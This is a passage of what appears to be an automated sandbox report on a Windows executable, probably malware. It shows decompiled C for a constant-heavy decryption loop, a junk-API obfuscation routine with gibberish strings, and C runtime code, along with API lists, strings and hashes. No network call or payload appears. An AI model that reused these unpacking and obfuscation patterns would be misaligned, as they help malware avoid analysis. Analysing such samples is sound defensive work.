					_v268 = 0x1ad1c0ab;
					_v472 = 0x29549cb0;
					_v348 = 0x59f0f79a;
					_v260 = 0x29e91f29;
					_v360 = 0x721e902e;
					_v340 = 0x4d15f5c6;
					_v184 = 0x6831fb04;
					_v216 = 0x3c255892;
					_v116 = 0x5816a642;
					_v288 = 0x7ae9c89;
					_v40 = 0x3fe3b511;
					_v36 = 0x7e65d0c1;
					_v252 = 0x2cb8ca30;
					_v108 = 0x7000ce59;
					_v480 = 0x6dc6d44;
					_v304 = 0x497f93f5;
					_v484 = 0x4e3080de;
					_v32 = 0x6642cffb;
					_v120 = 0x51ded34b;
					_v208 = 0xf893257;
					_v188 = 0x48ebaf87;
					_v176 = 0x3a1b15c5;
					_v352 = 0x2fc96ae9;
					_v244 = 0x771f1d46;
					_v240 = 0xf638532;
					_v280 = 0x22b6e9e1;
					_v72 = 0xf8107c6;
					_v408 = 0xc977849;
					_v168 = 0x7a375fc2;
					_v476 = 0x222631ea;
					_v468 = 0x72e34194;
					_v100 = 0x53e810b;
					_v92 = 0x765bd3bd;
					_v416 = 0xfc2b546;
					_v84 = 0x5a3570f9;
					_v332 = 0x799057b7;
					_v180 = 0x7d8d8fad;
					_v20 = 0x183b8b6c;
					_v300 = 0x208237f3;
					_v172 = 0x37857544;
					_v76 = 0x194d6bc7;
					_v144 = 0x761e73a;
					_v164 = 0x23b5b072;
					_v264 = 0x28dd809d;
					_v156 = 0x4bae779b;
					_v64 = 0x31f852be;
					_v440 = 0x2d27aa;
					_v292 = 0x3b164838;
					_v428 = 0x2828d0ee;
					_v112 = 0x13bc3fda;
					_v296 = 0x32032ef2;
					_v436 = 0x66131123;
					_v444 = 0x5fd083d9;
					_v236 = 0x5095c0f2;
					_v384 = 0x191d2124;
					_v160 = 0x26972506;
					_v368 = 0x436837e6;
					_v388 = 0x6e37dce0;
					_v56 = 0x48ceb1ee;
					_v320 = 0x135da928;
					_v104 = 0x498338b7;
					_v200 = 0x1dcc46f6;
					_v380 = 0x3725547b;
					_v424 = 0x5e007fae;
					_v344 = 0x14444bb8;
					_v148 = 0x69cfd0dc;
					_v152 = 0x31b82d41;
					_v336 = 0x633ae043;
					_v452 = 0x5a8da93d;
					_v28 = 0x55998bc1;
					_v232 = 0x4bdbdfa5;
					_v456 = 0x3a998bf2;
					_v420 = 0x279d3dec;
					_v140 = 0x66a87b65;
					_v48 = 0x22513e86;
					_v136 = 0x9e3e723;
					_v68 = 0x277c2432;
					_v284 = 0x3ed62a3;
					_v96 = 0x5171fe35;
					_v312 = 0x25314484;
					_v228 = 0x1665fe93;
					_v464 = 0x2162be98;
					_v324 = 0x55d5cb43;
					_v412 = 0x598c0136;
					_v220 = 0x6c22b187;
					_v132 = 0x2fcaa1cc;
					_v88 = 0x6167089e;
					_v256 = 0x66f75803;
					_v212 = 0x585cb709;
					_v224 = 0x27007ca;
					_v272 = 0x28381a77;
					_v376 = 0x3808fdae;
					_v448 = 0x4f9bfef4;
					_v60 = 0x31e750c5;
					_v400 = 0x5713314d;
					_v316 = 0x43138e95;
					_v432 = 0x126a3b55;
					_t200 = _t200 + 0x61c88647;
					_t160 =  &_v492;
					 *_t160 = _v492 - 1;
				} while ( *_t160 != 0);
				_t189 = _a4;
				 *_t189 = _v12;
				_t189[1] = _v488;
				return _t189;
			}

0x00401075
0x00401092
0x00401095
0x0040109b
0x0040109e
0x004010aa
0x004010b4
0x004010b4
0x004010b6
0x004010bb
0x004010c1
0x004010c6
0x004010cf
0x004010d2
0x004010da
0x004010ea
0x004010f7
0x004010f7
0x004010f9
0x004010fe
0x00401104
0x00401109
0x0040110f
0x00401119
0x00401119
0x00401120
0x00401127
0x00401131
0x00401143
0x00401143
0x00401149
0x0040114e
0x00401159
0x0040115b
0x0040115b
0x0040116a
0x0040116c
0x0040116c
0x0040117e
0x0040118e
0x00401197
0x004011a1
0x004011a4
0x004011ad
0x004011b7
0x004011bd
0x004011bd
0x004011c0
0x004011cd
0x004011d1
0x004011de
0x004011df
0x004011e0
0x004011e2
0x004011f9
0x004011f9
0x00401204
0x0040121a
0x00401226
0x00401229
0x0040122f
0x0040123b
0x0040123e
0x00401248
0x00401252
0x00401259
0x00401260
0x0040126a
0x00401274
0x0040127e
0x00401288
0x00401292
0x0040129c
0x004012a6
0x004012b0
0x004012ba
0x004012c1
0x004012cb
0x004012d2
0x004012dc
0x004012e6
0x004012ed
0x004012f7
0x00401301
0x0040130b
0x00401315
0x0040131f
0x00401329
0x00401333
0x0040133d
0x00401344
0x0040134e
0x00401355
0x0040135c
0x00401366
0x0040136d
0x00401377
0x00401381
0x0040138b
0x00401392
0x00401399
0x004013a3
0x004013ad
0x004013b7
0x004013c1
0x004013cb
0x004013d5
0x004013df
0x004013e6
0x004013f0
0x004013fa
0x00401404
0x0040140e
0x00401415
0x0040141c
0x00401426
0x0040142d
0x00401437
0x00401441
0x00401448
0x00401452
0x0040145c
0x00401463
0x0040146d
0x00401477
0x00401481
0x0040148b
0x00401492
0x0040149c
0x004014a6
0x004014b0
0x004014b7
0x004014c1
0x004014cb
0x004014d5
0x004014df
0x004014e9
0x004014f3
0x004014fd
0x00401507
0x0040150e
0x00401518
0x0040151f
0x00401529
0x00401533
0x0040153d
0x00401547
0x00401551
0x0040155b
0x00401565
0x0040156f
0x00401576
0x00401580
0x0040158a
0x00401594
0x0040159e
0x004015a5
0x004015af
0x004015b6
0x004015c0
0x004015c7
0x004015d1
0x004015db
0x004015e5
0x004015ef
0x004015f9
0x00401603
0x0040160a
0x00401611
0x0040161b
0x00401625
0x0040162f
0x00401639
0x00401643
0x0040164d
0x00401654
0x0040165e
0x00401668
0x00401672
0x00401678
0x00401678
0x00401678
0x00401687
0x0040168b
0x00401694
0x00401699

APIs

Sleep.KERNEL32(00000000), ref: 0040109E
CreateThread.KERNEL32 ref: 004010AA
GetStringTypeW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004010B4
GetStringTypeW.KERNEL32(00000000,Wasavanayof dab jep,00000000,?), ref: 004010F7
ReadConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 00401143
InterlockedDecrement.KERNEL32(?), ref: 004011AD
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 004011B7
GetTimeFormatA.KERNEL32(00000000,00000000,?,Lefejobixad nezanelo zex vohopenap buxagukabu,?,00000000), ref: 004011F9

Strings

#, xrefs: 004015A5
2$|', xrefs: 004015AF
1&", xrefs: 004013FA
_lE, xrefs: 004012E6
jzI-, xrefs: 0040127E
Lefejobixad nezanelo zex vohopenap buxagukabu, xrefs: 004011EB
, xrefs: 0040110F
7hC, xrefs: 004014F3
Wasavanayof dab jep, xrefs: 004010F1
C:c, xrefs: 0040155B
{T%7, xrefs: 00401529

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: StringType$ConsoleCreateDecrementExceptionFormatInputInterlockedRaiseReadSleepThreadTime
String ID: $#$2$|'$C:c$Lefejobixad nezanelo zex vohopenap buxagukabu$Wasavanayof dab jep$_lE$jzI-${T%7$1&"$7hC
API String ID: 3300792823-2628037626
Opcode ID: 7f4b0145607d2a25b25aef2dd9b72e3c2094b370be0dcaad66f82cdccfc026a3
Instruction ID: b45402541d5810be400bafd65546d988389cbf1ee2ded8d5d4983ac5ee60b1d8
Opcode Fuzzy Hash: 7f4b0145607d2a25b25aef2dd9b72e3c2094b370be0dcaad66f82cdccfc026a3
Instruction Fuzzy Hash: 19E1DAB0806269DBDB64CF96DD84BDEBBB4FB09304F1085E9D509AB210C7345A86CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0040169C, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 67
timenetworkCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040169C() {
				char _v8;
				long _v12;
				void _v1036;
				char _v2060;
				char _v3084;
				char _v4108;
				char _v6156;
				unsigned int _t11;
				unsigned int _t25;
				unsigned int* _t26;
				unsigned int* _t27;

				E00410920(0x180c);
				_t26 =  *0x43e4b8;
				_t11 =  *0x43e9cc >> 3;
				if(_t11 > 0) {
					_t27 = _t26;
					_t25 = _t11;
					do {
						if( *0x43e9cc == 0xae9) {
							SetFileTime(0, 0, 0, 0);
							__imp__DnsHostnameToComputerNameA("yujacom",  &_v4108,  &_v8);
							__imp__GetLongPathNameW(L"sowijegucunuwelumegugenemonopehecebozececopiduporaneganebetasohuwihajanojuh",  &_v6156, 0);
							GetFileType(0);
							ReadConsoleA(0,  &_v1036, 0,  &_v12, 0);
							__imp__GetConsoleAliasesLengthW(0);
							SetConsoleTitleW(L"kepamufugimuceputolomibuwufixijuwakijaxitaduza");
							GetModuleFileNameA(0,  &_v2060, 0);
							GetProfileSectionA("yazusupuxifojemevaxatomoworokavorecojesoc",  &_v3084, 0);
						}
						_t11 = E0040106C(_t27);
						_t27 = _t27 + 8;
						_t25 = _t25 - 1;
					} while (_t25 != 0);
				}
				return _t11;
			}

0x004016a4
0x004016ae
0x004016b6
0x004016be
0x004016c4
0x004016c6
0x004016c8
0x004016d2
0x004016dc
0x004016f2
0x00401705
0x0040170c
0x00401720
0x00401727
0x00401732
0x00401741
0x00401754
0x00401754
0x0040175b
0x00401760
0x00401763
0x00401763
0x004016c8
0x0040176e

APIs

SetFileTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 004016DC
DnsHostnameToComputerNameA.KERNEL32 ref: 004016F2
GetLongPathNameW.KERNEL32(sowijegucunuwelumegugenemonopehecebozececopiduporaneganebetasohuwihajanojuh,?,00000000), ref: 00401705
GetFileType.KERNEL32(00000000), ref: 0040170C
ReadConsoleA.KERNEL32(00000000,?,00000000,?,00000000), ref: 00401720
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00401727
SetConsoleTitleW.KERNEL32(kepamufugimuceputolomibuwufixijuwakijaxitaduza), ref: 00401732
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00401741
GetProfileSectionA.KERNEL32(yazusupuxifojemevaxatomoworokavorecojesoc,?,00000000), ref: 00401754

Strings

kepamufugimuceputolomibuwufixijuwakijaxitaduza, xrefs: 0040172D
yazusupuxifojemevaxatomoworokavorecojesoc, xrefs: 0040174F
yujacom, xrefs: 004016ED
sowijegucunuwelumegugenemonopehecebozececopiduporaneganebetasohuwihajanojuh, xrefs: 00401700

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: ConsoleFileName$AliasesComputerHostnameLengthLongModulePathProfileReadSectionTimeTitleType
String ID: kepamufugimuceputolomibuwufixijuwakijaxitaduza$sowijegucunuwelumegugenemonopehecebozececopiduporaneganebetasohuwihajanojuh$yazusupuxifojemevaxatomoworokavorecojesoc$yujacom
API String ID: 3522130835-16586494
Opcode ID: 598869c0733ea07693c25dbae7b17f14dc26bdac8de20e879dce2d45e5b543fb
Instruction ID: 2e763d98c3c9d002fd7d1509c5ad0c69ee65f9384e0ceabf0ee0e8d78d21c97e
Opcode Fuzzy Hash: 598869c0733ea07693c25dbae7b17f14dc26bdac8de20e879dce2d45e5b543fb
Instruction Fuzzy Hash: 32115BB6502128BBD711ABA5EC48DEB7BBCEF4D742B004072F606E2154CA745B85CBB9

Uniqueness

Uniqueness Score: -1.00%

Function 004092C2, Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E004092C2(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x417c00);
				E00404CA4(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E00403736(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E00407DEA(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E00407DEA(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E00407DEA(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E00407DEA(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E004037DB(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E004093E8(_t48, _t53, _t55, _t57, _t61);
				return E00404CE9( *((intOrPtr*)(_t58 - 0x1c)));
			}

0x004092c2
0x004092c2
0x004092c2
0x004092c4
0x004092c9
0x004092ce
0x004092d0
0x004092d3
0x004092d6
0x004092d9
0x004092e0
0x004092f1
0x004092ff
0x0040930d
0x00409315
0x00409323
0x00409329
0x00409330
0x00409333
0x00409349
0x0040934c
0x004093c1
0x004093c8
0x004093cf
0x004093dc

APIs

__CreateFrameInfo.LIBCMT ref: 004092EA

Part of subcall function 00403736: __getptd.LIBCMT ref: 00403744
Part of subcall function 00403736: __getptd.LIBCMT ref: 00403752

__getptd.LIBCMT ref: 004092F4

Part of subcall function 00407DEA: __getptd_noexit.LIBCMT ref: 00407DED
Part of subcall function 00407DEA: __amsg_exit.LIBCMT ref: 00407DFA

__getptd.LIBCMT ref: 00409302
__getptd.LIBCMT ref: 00409310
__getptd.LIBCMT ref: 0040931B
_CallCatchBlock2.LIBCMT ref: 00409341

Part of subcall function 004037DB: __CallSettingFrame@12.LIBCMT ref: 00403827

Part of subcall function 004093E8: __getptd.LIBCMT ref: 004093F7
Part of subcall function 004093E8: __getptd.LIBCMT ref: 00409405

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: ab31da0ae0b94152fa53e6b25f0da6aecfc5f2252845cde48f2e8d539b054dd3
Instruction ID: 0b4b00b17f5c0f033c6b13b670b65cf56679f155cec22cfc341f5e85b63ef726
Opcode Fuzzy Hash: ab31da0ae0b94152fa53e6b25f0da6aecfc5f2252845cde48f2e8d539b054dd3
Instruction Fuzzy Hash: BF11D7B1D04209DFDB01EFA5C845AED7BB0FF48319F11806AF814A7292EB389A51DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040966F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0040966F(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E004095DD(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0040348E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0040905A(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E004092C2(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E00403447(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0040966f
0x0040966f
0x0040966f
0x0040966f
0x0040966f
0x00409674
0x00409678
0x0040967a
0x0040967d
0x0040967e
0x0040967f
0x00409682
0x00409687
0x00409687
0x0040968a
0x0040968e
0x00409691
0x00409696
0x00409693
0x00409693
0x00409693
0x00409699
0x0040969e
0x004096a0
0x004096a3
0x004096a6
0x004096a7
0x004096af
0x004096b4
0x004096b8
0x004096bb
0x004096be
0x004096c4
0x004096c5
0x004096c8
0x004096d2
0x004096d6
0x00000000
0x004096d6
0x004096dc

APIs

___BuildCatchObject.LIBCMT ref: 00409682

Part of subcall function 004095DD: ___BuildCatchObjectHelper.LIBCMT ref: 00409613

_UnwindNestedFrames.LIBCMT ref: 00409699
___FrameUnwindToState.LIBCMT ref: 004096A7

Strings

d|A, xrefs: 00409671
csm, xrefs: 0040967E, 00409693, 004096A6, 004096C4, 004096D4

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$d|A
API String ID: 2163707966-1332099821
Opcode ID: d22ffe9363a6998e1e2d35ed5cd282cdf03ba47786016133a39b01d8c6c55dd1
Instruction ID: 53e9afd385f30e9fae809e4ae3bc43e40e9c9c1ab0e59ab87651837acf80937f
Opcode Fuzzy Hash: d22ffe9363a6998e1e2d35ed5cd282cdf03ba47786016133a39b01d8c6c55dd1
Instruction Fuzzy Hash: 30014B71001109BBDF126F52CC41EAB3F6AEF04354F04842AFC18241A2D73ADDB1DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409011, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00409011(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				void* __ebp;
				intOrPtr* _t15;
				intOrPtr* _t18;
				void* _t22;
				void* _t24;

				_t23 = __edx;
				_t30 =  *((intOrPtr*)( *_a4)) - 0xe0434f4d;
				if( *((intOrPtr*)( *_a4)) == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E00407DEA(_t22, __edx, _t24, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E00407DEA(_t22, __edx, _t24, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L9;
				} else {
					__eflags = __eax - 0xe06d7363;
					if(__eflags != 0) {
						L9:
						__eflags = 0;
						return 0;
					} else {
						 *(E00407DEA(__ebx, __edx, __edi, __eflags) + 0x90) =  *(__eax + 0x90) & 0x00000000;
						_push(8);
						_push(0x417900);
						E00404CA4(_t22, _t24, __esi);
						_t18 =  *((intOrPtr*)(E00407DEA(_t22, __edx, _t24, _t30) + 0x78));
						if(_t18 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t18();
							_v8 = 0xfffffffe;
						}
						return E00404CE9(E00407A0C(_t22, _t23, _t24));
					}
				}
			}

0x00409011
0x0040901d
0x00409022
0x00409041
0x00409048
0x0040904f
0x00409054
0x00409054
0x00409054
0x00000000
0x00409024
0x00409024
0x00409029
0x00409056
0x00409056
0x00409059
0x0040902b
0x00409030
0x00402d22
0x00402d24
0x00402d29
0x00402d33
0x00402d38
0x00402d3a
0x00402d3e
0x00402d49
0x00402d49
0x00402d5a
0x00402d5a
0x00409029

APIs

__getptd.LIBCMT ref: 0040902B

Part of subcall function 00407DEA: __getptd_noexit.LIBCMT ref: 00407DED
Part of subcall function 00407DEA: __amsg_exit.LIBCMT ref: 00407DFA

__getptd.LIBCMT ref: 0040903C
__getptd.LIBCMT ref: 0040904A

Strings

MOC, xrefs: 0040901D
csm, xrefs: 00409024

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 11767864087e168163906b1a0de3cd6c6b269685fe490d3a212fb729674d7c71
Instruction ID: 2f9870fb3be34a46d21f7336d4a87d499bc5d8695982def442e6db769c8808d2
Opcode Fuzzy Hash: 11767864087e168163906b1a0de3cd6c6b269685fe490d3a212fb729674d7c71
Instruction Fuzzy Hash: C1E01A319041088FDB11BA65C04ABBA3794EF95318F5541B7A808E73A3D77CEC50954B

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8E1, Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0040A8E1(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x417d00);
				E00404CA4(__ebx, __edi, __esi);
				_t31 = E00407DEA(__ebx, __edx, __edi, _t35);
				_t15 =  *0x419cac; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E004041AD(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x419bb0; // 0x7c15f8
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x419788;
								if(__eflags != 0) {
									_push(_t33);
									E00403E85(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x419bb0; // 0x7c15f8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x419bb0; // 0x7c15f8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0040A97C();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00404EEC(_t29, _t31, 0x20);
				}
				return E00404CE9(_t33);
			}

0x0040a8e1
0x0040a8e1
0x0040a8e1
0x0040a8e1
0x0040a8e3
0x0040a8e8
0x0040a8f2
0x0040a8f4
0x0040a8fc
0x0040a91d
0x0040a923
0x0040a927
0x0040a92a
0x0040a92d
0x0040a933
0x0040a935
0x0040a937
0x0040a93a
0x0040a940
0x0040a942
0x0040a944
0x0040a94a
0x0040a94c
0x0040a94d
0x0040a952
0x0040a94a
0x0040a942
0x0040a953
0x0040a958
0x0040a95b
0x0040a961
0x0040a965
0x0040a965
0x0040a96b
0x0040a972
0x0040a904
0x0040a904
0x0040a904
0x0040a909
0x0040a90d
0x0040a912
0x0040a91a

APIs

__getptd.LIBCMT ref: 0040A8ED

Part of subcall function 00407DEA: __getptd_noexit.LIBCMT ref: 00407DED
Part of subcall function 00407DEA: __amsg_exit.LIBCMT ref: 00407DFA

__amsg_exit.LIBCMT ref: 0040A90D
__lock.LIBCMT ref: 0040A91D
InterlockedDecrement.KERNEL32(?), ref: 0040A93A
InterlockedIncrement.KERNEL32(007C15F8), ref: 0040A965

Memory Dump Source

Source File: 00000001.00000002.295622421.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.295611346.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295637959.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.295648467.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295658886.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295665221.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.295683963.000000000043A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.295711445.0000000000441000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_PPsa8TXVuy.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 08eb0d1a302fd91a845e8d6d2666b5aa41e59918724028f8ab9b6c1666b165c5
Instruction ID: b3c779945043428d5b5bc56fd1bff1f59bc305e2d049ec647f3379f663c75103
Opcode Fuzzy Hash: 08eb0d1a302fd91a845e8d6d2666b5aa41e59918724028f8ab9b6c1666b165c5
Instruction Fuzzy Hash: 7B01CEB1A007119BCA11AB26A4167AE77A0BF80714F02813BE810B72C0C73CAE51CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00403E85, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E00403E85(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x4179a8);
				_t8 = E00404CA4(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E00404CE9(_t8);
				}
				if( *0x440f18 != 3) {
					_push(_t23);
					L7:
					_t8 = HeapFree( *0x43afbc, 0, ??);
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E00403DD4(_t31);
						 *_t10 = E00403D92(GetLastError());
					}
					goto L9;
				}
				E004041AD(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E004041E0(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
